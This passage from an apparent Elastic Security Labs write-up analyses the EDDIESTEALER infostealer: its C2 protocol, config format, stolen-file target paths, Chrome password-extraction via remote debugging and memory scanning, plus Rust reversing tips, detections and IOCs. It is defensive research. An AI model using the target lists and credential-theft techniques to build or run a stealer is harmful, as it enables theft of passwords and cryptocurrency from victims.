<p>The initial configuration data is stored as encrypted strings within the binary. Once decrypted, this data is used to construct a request following the URI pattern: <code>&lt;C2_ip_or_domain&gt;/&lt;resource_path&gt;/&lt;UUID&gt;</code>. The <code>resource_path</code> is specified as <code>api/handler</code>.  The <code>UUID</code>, utilized earlier to create a mutex, is used as a unique identifier for build tracking.</p>
<p>EDDIESTEALER then communicates with its C2 server by sending an HTTP GET request with the constructed URI to retrieve a second-stage configuration containing a list of tasks for the malware to execute.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image16.png" alt="Decrypt strings required to build URI for C2 comms" title="Decrypt strings required to build URI for C2 comms" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image21.png" alt="HTTP request wrapper" title="HTTP request wrapper" /></p>
<p>The second-stage configuration data is AES CBC encrypted and Base64 encoded. The Base64-encoded IV is prepended in the message before the colon (<code>:</code>).</p>
<pre><code>Base64(IV):Base64(AESEncrypt(data))
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image3.png" alt="Encrypted data received from C2" title="Encrypted data received from C2" /></p>
<p>The AES key for decrypting the server-to-client message is stored unencrypted in UTF-8 encoding, in the <code>.rdata</code> section. It is retrieved through a getter function.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image41.png" alt="Hardcoded AES key" title="Hardcoded AES key" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image8.png" alt="Core wrapper functions for config decryption" title="Core wrapper functions for config decryption" /></p>
<p>The decrypted configuration for this sample contains the following in JSON format:</p>
<ul>
<li>Session ID</li>
<li>List of tasks (data to target)</li>
<li>AES key for client-to-server message encryption</li>
<li>Self-delete flag</li>
</ul>
<pre><code class="language-json">{
    &quot;session&quot;: &quot;&lt;unique_session_id&gt;&quot;,
    &quot;tasks&quot;: [
        {
            &quot;id&quot;: &quot;&lt;unique_task_id&gt;&quot;,
            &quot;prepare&quot;: [],
            &quot;pattern&quot;: {
                &quot;path&quot;: &quot;&lt;file_system_path&gt;&quot;,
                &quot;recursive&quot;: &lt;true/false&gt;,
                &quot;filters&quot;: [
                    {
                        &quot;path_filter&quot;: &lt;null/string&gt;,
                        &quot;name&quot;: &quot;&lt;file_or_directory_name_pattern&gt;&quot;,
                        &quot;entry_type&quot;: &quot;&lt;FILE/DIR&gt;&quot;
                    },
                    ...
                ]
            },
            &quot;additional&quot;: [
                {
                    &quot;command&quot;: &quot;&lt;optional_command&gt;&quot;,
                    &quot;payload&quot;: {
                        &quot;&lt;command_specific_config&gt;&quot;: &lt;value&gt;
                    }
                },
                ...
            ]
        },
        ...
    ],
    &quot;network&quot;: {
        &quot;encryption_key&quot;: &quot;&lt;AES_encryption_key&gt;&quot;
    },
    &quot;self_delete&quot;: &lt;true/false&gt;
}
</code></pre>
<p>For this particular sample and based on the tasks received from the server during our analysis, here are the list of filesystem-based exfiltration targets:</p>
<ul>
<li>Crypto wallets</li>
<li>Browsers</li>
<li>Password managers</li>
<li>FTP clients</li>
<li>Messaging applications</li>
</ul>
<table>
<thead>
<tr>
<th>Crypto Wallet</th>
<th>Target Path Filter</th>
</tr>
</thead>
<tbody>
<tr>
<td>Armory</td>
<td><code>%appdata%\\Armory\\*.wallet</code></td>
</tr>
<tr>
<td>Bitcoin</td>
<td><code>%appdata%\\Bitcoin\\wallets\\*</code></td>
</tr>
<tr>
<td>WalletWasabi</td>
<td><code>%appdata%\\WalletWasabi\\Client\\Wallets\\*</code></td>
</tr>
<tr>
<td>Daedalus Mainnet</td>
<td><code>%appdata%\\Daedalus Mainnet\\wallets\\*</code></td>
</tr>
<tr>
<td>Coinomi</td>
<td><code>%localappdata%\\Coinomi\\Coinomi\\wallets\\*</code></td>
</tr>
<tr>
<td>Electrum</td>
<td><code>%appdata%\\Electrum\\wallets\\*</code></td>
</tr>
<tr>
<td>Exodus</td>
<td><code>%appdata%\\Exodus\\exodus.wallet\\*</code></td>
</tr>
<tr>
<td>DashCore</td>
<td><code>%appdata%\\DashCore\\wallets\\*</code></td>
</tr>
<tr>
<td>ElectronCash</td>
<td><code>%appdata%\\ElectronCash\\wallets\\*</code></td>
</tr>
<tr>
<td>Electrum-DASH</td>
<td><code>%appdata%\\Electrum-DASH\\wallets\\*</code></td>
</tr>
<tr>
<td>Guarda</td>
<td><code>%appdata%\\Guarda\\IndexedDB</code></td>
</tr>
<tr>
<td>Atomic</td>
<td><code>%appdata%\\atomic\\Local Storage</code></td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>Browser</th>
<th>Target Path Filter</th>
</tr>
</thead>
<tbody>
<tr>
<td>Microsoft Edge</td>
<td><code>%localappdata%\\Microsoft\\Edge\\User Data\\</code>&lt;br /&gt;<code>[Web Data,History,Bookmarks,Local Extension Settings\\...]</code></td>
</tr>
<tr>
<td>Brave</td>
<td><code>%localappdata%\\BraveSoftware\\Brave-Browser\\User Data\\</code>&lt;br /&gt;<code>[Web Data,History,Bookmarks,Local Extension Settings\\...]</code></td>
</tr>
<tr>
<td>Google Chrome</td>
<td><code>%localappdata%\\Google\\Chrome\\User Data\\</code>&lt;br /&gt;<code>[Web Data,History,Bookmarks,Local Extension Settings\\...]</code></td>
</tr>
<tr>
<td>Mozilla Firefox</td>
<td><code>%appdata%\\Mozilla\\Firefox\\Profiles\\</code>&lt;br /&gt;<code>[key4.db,places.sqlite,logins.json,cookies.sqlite,formhistory.sqlite,webappsstore.sqlite,*+++*]</code></td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>Password Manager</th>
<th>Target Path Filter</th>
</tr>
</thead>
<tbody>
<tr>
<td>Bitwarden</td>
<td><code>%appdata%\\Bitwarden\\data.json</code></td>
</tr>
<tr>
<td>1Password</td>
<td><code>%localappdata%\\1Password\\</code>&lt;br /&gt;<code>[1password.sqlite,1password_resources.sqlite]</code></td>
</tr>
<tr>
<td>KeePass</td>
<td><code>%userprofile%\\Documents\\*.kdbx</code></td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>FTP Client</th>
<th>Target Path Filter</th>
</tr>
</thead>
<tbody>
<tr>
<td>FileZilla</td>
<td><code>%appdata%\\FileZilla\\recentservers.xml</code></td>
</tr>
<tr>
<td>FTP Manager Lite</td>
<td><code>%localappdata%\\DeskShare Data\\FTP Manager Lite\\2.0\\FTPManagerLiteSettings.db</code></td>
</tr>
<tr>
<td>FTPbox</td>
<td><code>%appdata%\\FTPbox\\profiles.conf</code></td>
</tr>
<tr>
<td>FTP Commander Deluxe</td>
<td><code>%ProgramFiles(x86)%\\FTP Commander Deluxe\\FTPLIST.TXT</code></td>
</tr>
<tr>
<td>Auto FTP Manager</td>
<td><code>%localappdata%\\DeskShare Data\\Auto FTP Manager\\AutoFTPManagerSettings.db</code></td>
</tr>
<tr>
<td>3D-FTP</td>
<td><code>%programdata%\\SiteDesigner\\3D-FTP\\sites.ini</code></td>
</tr>
<tr>
<td>FTPGetter</td>
<td><code>%appdata%\\FTPGetter\\servers.xml</code></td>
</tr>
<tr>
<td>Total Commander</td>
<td><code>%appdata%\\GHISLER\\wcx_ftp.ini</code></td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>Messaging App</th>
<th>Target Path Filter</th>
</tr>
</thead>
<tbody>
<tr>
<td>Telegram Desktop</td>
<td><code>%appdata%\\Telegram Desktop\\tdata\\*</code></td>
</tr>
</tbody>
</table>
<p>A list of targeted browser extensions can be found <a href="https://gist.github.com/jiayuchann/ba3cd9f4f430a9351fdff75869959853">here</a>.</p>
<p>These targets are subject to change as they are configurable by the C2 operator.</p>
<p>EDDIESTEALER then reads the targeted files using standard <code>kernel32.dll</code> functions like <code>CreateFileW</code>, <code>GetFileSizeEx</code>, <code>ReadFile</code>, and <code>CloseHandle</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image26.png" alt="APIs for reading files specified in the task list" title="APIs for reading files specified in the task list" /></p>
<h3>Subsequent C2 Traffic</h3>
<p>After successfully retrieving the tasks, EDDIESTEALER performs system profiling to gather some information about the infected system:</p>
<ul>
<li>Location of the executable (<code>GetModuleFileNameW</code>)</li>
<li>Locale ID (<code>GetUserDefaultLangID</code>)</li>
<li>Username (<code>GetUserNameW</code>)</li>
<li>Total amount of physical memory (<code>GlobalMemoryStatusEx</code>)</li>
<li>OS version (<code>RtlGetVersion</code>)</li>
</ul>
<p>Following the same data format (<code>Base64(IV):Base64(AESEncrypt(data))</code>) for client-to-server messages, initial host information is AES-encrypted using the key retrieved from the additional configuration and sent via an HTTP POST request to <code>&lt;C2_ip_or_domain&gt;/&lt;resource_path&gt;/info/&lt;session_id&gt;</code>. Subsequently, for each completed task, the collected data is also encrypted and transmitted in separate POST requests to <code>&lt;C2_ip_or_domain&gt;/&lt;resource_path&gt;&lt;session_id&gt;/&lt;task_id&gt;</code>, right after each task is completed. This methodology generates a distinct C2 traffic pattern characterized by multiple, task-specific POST requests. This pattern is particularly easy to identify because this malware family primarily relies on HTTP instead of HTTPS for its C2 communication.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image20.png" alt="C2 traffic log" title="C2 traffic log" /></p>
<p>Our analysis uncovered encrypted strings that decrypt to panic metadata strings, disclosing internal Rust source file paths such as:</p>
<ul>
<li><code>apps\bin\src\services\chromium_hound.rs</code></li>
<li><code>apps\bin\src\services\system.rs</code></li>
<li><code>apps\bin\src\structs\search_pattern.rs</code></li>
<li><code>apps\bin\src\structs\search_entry.rs</code></li>
</ul>
<p>We discovered that error messages sent to the C2 server contain these strings, including the exact source file, line number, and column number where the error originated, allowing the malware developer to have built-in debugging feedback.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image25.png" alt="Example error message" title="Example error message" /></p>
<h3>Chromium-specific Capabilities</h3>
<p>Since the <a href="https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html">introduction</a> of Application-bound encryption, malware developers have adapted to alternative methods to bypass this protection and gain access to unencrypted sensitive data, such as cookies. <a href="https://github.com/Meckazin/ChromeKatz">ChromeKatz</a> is one of the more well-received open source solutions that we have seen malware implement. EDDIESTEALER is no exception—the malware developers reimplemented it in Rust.</p>
<p>Below is a snippet of the browser version checking logic similar to COOKIEKATZ, after retrieving version information from <code>%localappdata%\&lt;browser_specific_path&gt;\\User Data\\Last Version</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image33.png" alt="Browser version check" title="Browser version check" /></p>
<p>COOKIEKATZ <a href="https://github.com/Meckazin/ChromeKatz/blob/15cc8180663fe2cd6b0828f147b84f3449db7ba6/COOKIEKATZ/Main.cpp#L210">signature pattern</a> for detecting COOKIEMONSTER instances:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image24.png" alt="COOKIEKATZ signature pattern" title="COOKIEKATZ signature pattern" /></p>
<p>CredentialKatz <a href="https://github.com/Meckazin/ChromeKatz/blob/15cc8180663fe2cd6b0828f147b84f3449db7ba6/CredentialKatz/Main.cpp#L188">signature pattern</a> for detecting CookieMonster instances:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image4.png" alt="CHROMEKATZ signature pattern" title="CHROMEKATZ signature pattern" /></p>
<p>Here is an example of the exact copy-pasted logic of COOKIEKATZ’s <code>FindPattern</code>, where <code>PatchBaseAddress</code> is inlined.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image28.png" alt="COOKIEKATZ FindPattern logic" title="COOKIEKATZ FindPattern logic" /></p>
<p>The developers introduced a modification to handle cases where the targeted Chromium browser is not running. If inactive, EDDIESTEALER spawns a new browser instance using the command-line arguments <code>--window-position=-3000,-3000 https://google.com</code>. This effectively positions the new window far off-screen, rendering it invisible to the user. The objective is to ensure the malware can still read the memory (<code>ReadProcessMemory</code>) of the necessary child process - the network service process identified by the <code>--utility-sub-type=network.mojom.NetworkService</code> flag. For a more detailed explanation of this browser process interaction, refer to <a href="https://www.elastic.co/pt/security-labs/katz-and-mouse-game">our previous research on MaaS infostealers</a>.</p>
<h3>Differences with variants</h3>
<p>After analysis, more recent samples were identified with additional capabilities.</p>
<p>Information gathered on victim machines now include:</p>
<ul>
<li>Running processes</li>
<li>GPU information</li>
<li>Number of CPU cores</li>
<li>CPU name</li>
<li>CPU vendor</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image14.png" alt="Example system data collected" title="Example system data collected" /></p>
<p>The C2 communication pattern has been altered slightly. The malware now preemptively sends host system information to the server before requesting its decrypted configuration. In a few instances where the victim machine was able to reach out to the C2 server but received an empty task list, the adjustment suggests an evasion tactic: developers have likely introduced server-side checks to profile the client environment and withhold the main configuration if a sandbox or analysis system is detected.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image19.png" alt="Possible sandbox/anti-analysis technique on C2 server-side" title="Possible sandbox/anti-analysis technique on C2 server-side" /></p>
<p>The encryption key for client-to-server communication is no longer received dynamically from the C2 server; instead, it is now hardcoded in the binary. The key used by the client to decrypt server-to-client messages also remains hardcoded.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image29.png" alt="Example Hardcoded AES keys" title="Example Hardcoded AES keys" /></p>
<p>Newer compiled samples exhibit extensive use of function inline expansion, where many functions - both user-defined and from standard libraries and crates - have been inlined directly into their callers more often, resulting in larger functions and making it difficult to isolate user code. This behavior is likely the result of using LLVM’s inliner. While some functions remain un-inlined, the widespread inlining further complicates analysis.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image1.png" alt="Old vs new: control flow graph for the HTTP request function" title="Old vs new: control flow graph for the HTTP request function" /></p>
<p>In order to get all entries of Chrome’s Password Manager, EDDIESTEALER begins its credential theft routine by spawning a new Chrome process with the <code>--remote-debugging-port=&lt;port_num&gt;</code> flag, enabling Chrome’s DevTools Protocol over a local WebSocket interface. This allows the malware to interact with the browser in a headless fashion, without requiring any visible user interaction.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image22.png" alt="Setting up Chrome process with remote debugging" title="Setting up Chrome process with remote debugging" /></p>
<p>After launching Chrome, the malware queries <code>http://localhost:&lt;port&gt;/json/version</code> to retrieve the <code>webSocketDebuggerUrl</code>, which provides the endpoint for interacting with the browser instance over WebSocket.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image38.png" alt="Sending request to retrieve webSocketDebuggerUrl" title="Sending request to retrieve webSocketDebuggerUrl" /></p>
<p>Using this connection, it issues a <code>Target.createTarget</code> command with the parameter <code>chrome://password-manager/passwords</code>, instructing Chrome to open its internal password manager in a new tab. Although this internal page does not expose its contents to the DOM or to DevTools directly, opening it causes Chrome to decrypt and load stored credentials into memory. This behavior is exploited by EDDIESTEALER in subsequent steps through CredentialKatz lookalike code, where it scans the Chrome process memory to extract plaintext credentials after they have been loaded by the browser.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image15.png" alt="Decrypted strings referenced when accessing Chrome’s password manager" title="Decrypted strings referenced when accessing Chrome’s password manager" /></p>
<p>Based on decrypted strings <code>os_crypt</code>, <code>encrypted_key</code>, <code>CryptUnprotectData</code>, <code>local_state_pattern</code>, and <code>login_data_pattern</code>, EDDIESTEALER variants appear to be backward compatible, supporting Chrome versions that still utilize DPAPI encryption.</p>
<p>We have identified 15 additional samples of EDDIESTEALER through code and infrastructure similarities on VirusTotal. The observations table will include the discovered samples, associated C2 IP addresses/domains, and a list of infrastructure hosting EDDIESTEALER.</p>
<h2>A Few Analysis Tips</h2>
<h3>Tracing</h3>
<p>To better understand the control flow and pinpoint the exact destinations of indirect jumps or calls in large code blocks, we can leverage binary tracing techniques. Tools like &lt;code&gt;<a href="https://github.com/hasherezade/tiny_tracer">TinyTracer</a>&lt;/code&gt; can capture an API trace and generate a <code>.tag</code> file, which maps any selected API calls to be recorded to the executing line in assembly. Rust's standard library functions call into WinAPIs under the hood, and this also captures any code that calls <code>WinAPI</code> functions directly, bypassing the standard library's abstraction. The tag file can then be imported into decompiler tools to automatically mark up the code blocks using plugins like &lt;code&gt;<a href="https://github.com/leandrofroes/bn_ifl">IFL</a>&lt;/code&gt;.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image5.png" alt="Example comment markup after importing .tag file" title="Example comment markup after importing .tag file" /></p>
<h3>Panic Metadata for Code Segmentation</h3>
<p><a href="https://cxiao.net/posts/2023-12-08-rust-reversing-panic-metadata/">Panic metadata</a> - the embedded source file paths (.rs files), line numbers, and column numbers associated with panic locations - offers valuable clues for segmenting and understanding different parts of the binary. This, however, is only the case if such metadata has not been stripped from the binary. Paths like <code>apps\bin\src\services\chromium.rs</code>, <code>apps\bin\src\structs\additional_task.rs</code> or any path that looks like part of a custom project typically points to the application’s unique logic. Paths beginning with <code>library&lt;core/alloc/std&gt;\src\</code> indicates code from the Rust standard library. Paths containing crate name and version such as <code>hashbrown-0.15.2\src\raw\mod.rs</code> point to external libraries.</p>
<p>If the malware project has a somewhat organized codebase, the file paths in panic strings can directly map to logical modules. For instance, the decrypted string <code>apps\bin\src\utils\json.rs:48:39</code> is referenced in <code>sub_140011b4c</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image10.png" alt="Panic string containing “json.rs” referenced in function sub_140011b4c" title="Panic string containing “json.rs” referenced in function sub_140011b4c" /></p>
<p>By examining the call tree for incoming calls to the function, many of them trace back to <code>sub_14002699d</code>. This function (<code>sub_14002699d</code>) is called within a known C2 communication routine (<code>jy::C2::RetrieveAndDecryptConfig</code>), right after decrypting additional configuration data known to be JSON formatted.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image30.png" alt="Call tree of function sub_140011b4c" title="Call tree of function sub_140011b4c" /></p>
<p>Based on the <code>json.rs</code> path and its calling context, an educated guess would be that <code>sub_14002699d</code> is responsible for parsing JSON data. We can verify it by stepping over the function call. Sure enough, by inspecting the stack struct that is passed as reference to the function call, it now points to a heap address populated with parsed configuration fields.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image37.png" alt="Function sub_14002699d successfully parsing configuration fields" title="Function sub_14002699d successfully parsing configuration fields" /></p>
<p>For standard library and open-source third-party crates, the file path, line number, and (if available) the rustc commit hash or crate version allow you to look up the exact source code online.</p>
<h3>Stack Slot Reuse</h3>
<p>One of the optimization features involves reusing stack slots for variables/stack structs that don’t have overlapping timelines. Variables that aren’t “live” at the same time can share the same stack memory location, reducing the overall stack frame size. Essentially, a variable is live from the moment it is assigned a value until the last point where that value could be accessed. This makes the decompiled output confusing as the same memory offset may hold different types or values at different points.</p>
<p>To handle this, we can define unions encompassing all possible types sharing the same memory offset within the function.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image32.png" alt="Stack slot reuse, resorting to UNION approach" title="Stack slot reuse, resorting to UNION approach" /></p>
<h3>Rust Error Handling and Enums</h3>
<p>Rust enums are tagged unions that define types with multiple variants, each optionally holding data, ideal for modeling states like success or failure. Variants are identified by a discriminant (tag).</p>
<p>Error-handling code can be seen throughout the binary, making up a significant portion of the decompiled code. Rust's primary mechanism for error handling is the <code>Result&lt;T, E&gt;</code> generic enum. It has two variants: <code>Ok(T)</code>, indicating success and containing a value of type <code>T</code>, and <code>Err(E)</code>, indicating failure and containing an error value of type <code>E</code>.</p>
<p>In the example snippet below, a discriminant value of <code>0x8000000000000000</code> is used to differentiate outcomes of resolving the <code>CreateFileW</code> API. If <code>CreateFileW</code> is successfully resolved, the <code>reuse</code> variable type contains the API function pointer, and the <code>else</code> branch executes. Otherwise, the <code>if</code> branch executes, assigning an error information string from <code>reuse</code> to <code>arg1</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/image13.png" alt="Error handling example" title="Error handling example" /></p>
<p>For more information on how other common Rust types might look in memory, check out this <a href="https://cheats.rs/#memory-layout">cheatsheet</a> and this amazing <a href="https://www.youtube.com/watch?v=SGLX7g2a-gw&amp;t=749s">talk</a> by Cindy Xiao!</p>
<h2>Malware and MITRE ATT&amp;CK</h2>
<p>Elastic uses the<a href="https://attack.mitre.org/"> MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010">Exfiltration</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009">Collection</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1566/">Phishing</a></li>
<li><a href="https://attack.mitre.org/techniques/T1659/">Content Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/">Command and Scripting Interpreter</a></li>
<li><a href="https://attack.mitre.org/techniques/T1555/">Credentials from Password Stores</a></li>
<li><a href="https://attack.mitre.org/techniques/T1204/">User Execution</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1041/">Exfiltration Over C2 Channel</a></li>
<li><a href="https://attack.mitre.org/techniques/T1497/">Virtualization/Sandbox Evasion</a></li>
</ul>
<h2>Detections</h2>
<h3>YARA</h3>
<p>Elastic Security has created the following YARA rules related to this research:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Infostealer_EddieStealer.yar">Windows.Infostealer.EddieStealer</a></li>
</ul>
<h3>Behavioral prevention rules</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/3e068e2ab4a045350c67ae26ff1439149ad68d1d/behavior/rules/windows/execution_suspicious_powershell_execution.toml">Suspicious PowerShell Execution</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/3e068e2ab4a045350c67ae26ff1439149ad68d1d/behavior/rules/windows/command_and_control_ingress_tool_transfer_via_powershell.toml">Ingress Tool Transfer via PowerShell</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/3e068e2ab4a045350c67ae26ff1439149ad68d1d/behavior/rules/windows/discovery_potential_browser_information_discovery.toml">Potential Browser Information Discovery</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/3e068e2ab4a045350c67ae26ff1439149ad68d1d/behavior/rules/windows/defense_evasion_potential_self_deletion_of_a_running_executable.toml">Potential Self Deletion of a Running Executable</a></li>
</ul>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>47409e09afa05fcc9c9eff2c08baca3084d923c8d82159005dbae2029e1959d0</code></td>
<td>SHA-256</td>
<td><code>MvUlUwagHeZd.exe</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>162a8521f6156070b9a97b488ee902ac0c395714aba970a688d54305cb3e163f</code></td>
<td>SHA-256</td>
<td><code>:metadata (copy)</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>f8b4e2ca107c4a91e180a17a845e1d7daac388bd1bb4708c222cda0eff793e7a</code></td>
<td>SHA-256</td>
<td><code>AegZs85U6COc.exe</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>53f803179304e4fa957146507c9f936b38da21c2a3af4f9ea002a7f35f5bc23d</code></td>
<td>SHA-256</td>
<td><code>:metadata (copy)</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>20eeae4222ff11e306fded294bebea7d3e5c5c2d8c5724792abf56997f30aaf9</code></td>
<td>SHA-256</td>
<td><code>PETt3Wz4DXEL.exe</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>1bdc2455f32d740502e001fce51dbf2494c00f4dcadd772ea551ed231c35b9a2</code></td>
<td>SHA-256</td>
<td><code>Tk7n1al5m9Qc.exe</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>d905ceb30816788de5ad6fa4fe108a202182dd579075c6c95b0fb26ed5520daa</code></td>
<td>SHA-256</td>
<td><code>YykbZ173Ysnd.exe</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>b8b379ba5aff7e4ef2838517930bf20d83a1cfec5f7b284f9ee783518cb989a7</code></td>
<td>SHA-256</td>
<td><code>2025-04-03_20745dc4d048f67e0b62aca33be80283_akira_cobalt-strike_satacom</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>f6536045ab63849c57859bbff9e6615180055c268b89c613dfed2db1f1a370f2</code></td>
<td>SHA-256</td>
<td><code>2025-03-23_6cc654225172ef70a189788746cbb445_akira_cobalt-strike</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>d318a70d7f4158e3fe5f38f23a241787359c55d352cb4b26a4bd007fd44d5b80</code></td>
<td>SHA-256</td>
<td><code>2025-03-22_c8c3e658881593d798da07a1b80f250c_akira_cobalt-strike</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>73b9259fecc2a4d0eeb0afef4f542642c26af46aa8f0ce2552241ee5507ec37f</code></td>
<td>SHA-256</td>
<td><code>2025-03-22_4776ff459c881a5b876da396f7324c64_akira_cobalt-strike</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>2bef71355b37c4d9cd976e0c6450bfed5f62d8ab2cf096a4f3b77f6c0cb77a3b</code></td>
<td>SHA-256</td>
<td><code>TWO[1].file</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>218ec38e8d749ae7a6d53e0d4d58e3acf459687c7a34f5697908aec6a2d7274d</code></td>
<td>SHA-256</td>
<td></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>5330cf6a8f4f297b9726f37f47cffac38070560cbac37a8e561e00c19e995f42</code></td>
<td>SHA-256</td>
<td><code>verifcheck.exe</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>acae8a4d92d24b7e7cb20c0c13fd07c8ab6ed8c5f9969504a905287df1af179b</code></td>
<td>SHA-256</td>
<td><code>3zeG4jGjFkOy.exe</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>0f5717b98e2b44964c4a5dfec4126fc35f5504f7f8dec386c0e0b0229e3482e7</code></td>
<td>SHA-256</td>
<td><code>verification.exe</code></td>
<td>EDDIESTEALER</td>
</tr>
<tr>
<td><code>e8942805238f1ead8304cfdcf3d6076fa0cdf57533a5fae36380074a90d642e4</code></td>
<td>SHA-256</td>
<td><code>g_verify.js</code></td>
<td>EDDIESTEALER loader</td>
</tr>
<tr>
<td><code>7930d6469461af84d3c47c8e40b3d6d33f169283df42d2f58206f43d42d4c9f4</code></td>
<td>SHA-256</td>
<td><code>verif.js</code></td>
<td>EDDIESTEALER loader</td>
</tr>
<tr>
<td><code>45.144.53[.]145</code></td>
<td>ipv4-addr</td>
<td></td>
<td>EDDIESTEALER C2</td>
</tr>
<tr>
<td><code>84.200.154[.]47</code></td>
<td>ipv4-addr</td>
<td></td>
<td>EDDIESTEALER C2</td>
</tr>
<tr>
<td><code>shiglimugli[.]xyz</code></td>
<td>domain-name</td>
<td></td>
<td>EDDIESTEALER C2</td>
</tr>
<tr>
<td><code>xxxivi[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>EDDIESTEALER C2 and intermediate infrastructure</td>
</tr>
<tr>
<td><code>llll[.]fit</code></td>
<td>domain-name</td>
<td></td>
<td>EDDIESTEALER intermediate infrastructure</td>
</tr>
<tr>
<td><code>plasetplastik[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>EDDIESTEALER intermediate infrastructure</td>
</tr>
<tr>
<td><code>militrex[.]wiki</code></td>
<td>domain-name</td>
<td></td>
<td>EDDIESTEALER intermediate infrastructure</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://github.com/N0fix/rustbinsign">https://github.com/N0fix/rustbinsign</a></li>
<li><a href="https://github.com/Meckazin/ChromeKatz">https://github.com/Meckazin/ChromeKatz</a></li>
<li><a href="https://github.com/hasherezade/tiny_tracer">https://github.com/hasherezade/tiny_tracer</a></li>
<li><a href="https://docs.binary.ninja/dev/uidf.html">https://docs.binary.ninja/dev/uidf.html</a></li>
<li><a href="https://www.unicorn-engine.org/">https://www.unicorn-engine.org/</a></li>
<li><a href="https://github.com/LloydLabs/delete-self-poc/tree/main">https://github.com/LloydLabs/delete-self-poc/tree/main</a></li>
<li><a href="https://cheats.rs/#memory-layout">https://cheats.rs/#memory-layout</a></li>
<li><a href="https://www.youtube.com/watch?v=SGLX7g2a-gw&amp;t=749s">https://www.youtube.com/watch?v=SGLX7g2a-gw&amp;t=749s</a></li>
<li><a href="https://cxiao.net/posts/2023-12-08-rust-reversing-panic-metadata/">https://cxiao.net/posts/2023-12-08-rust-reversing-panic-metadata/</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/eddiestealer/eddiestealer.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[De-obfuscating ALCATRAZ]]></title>
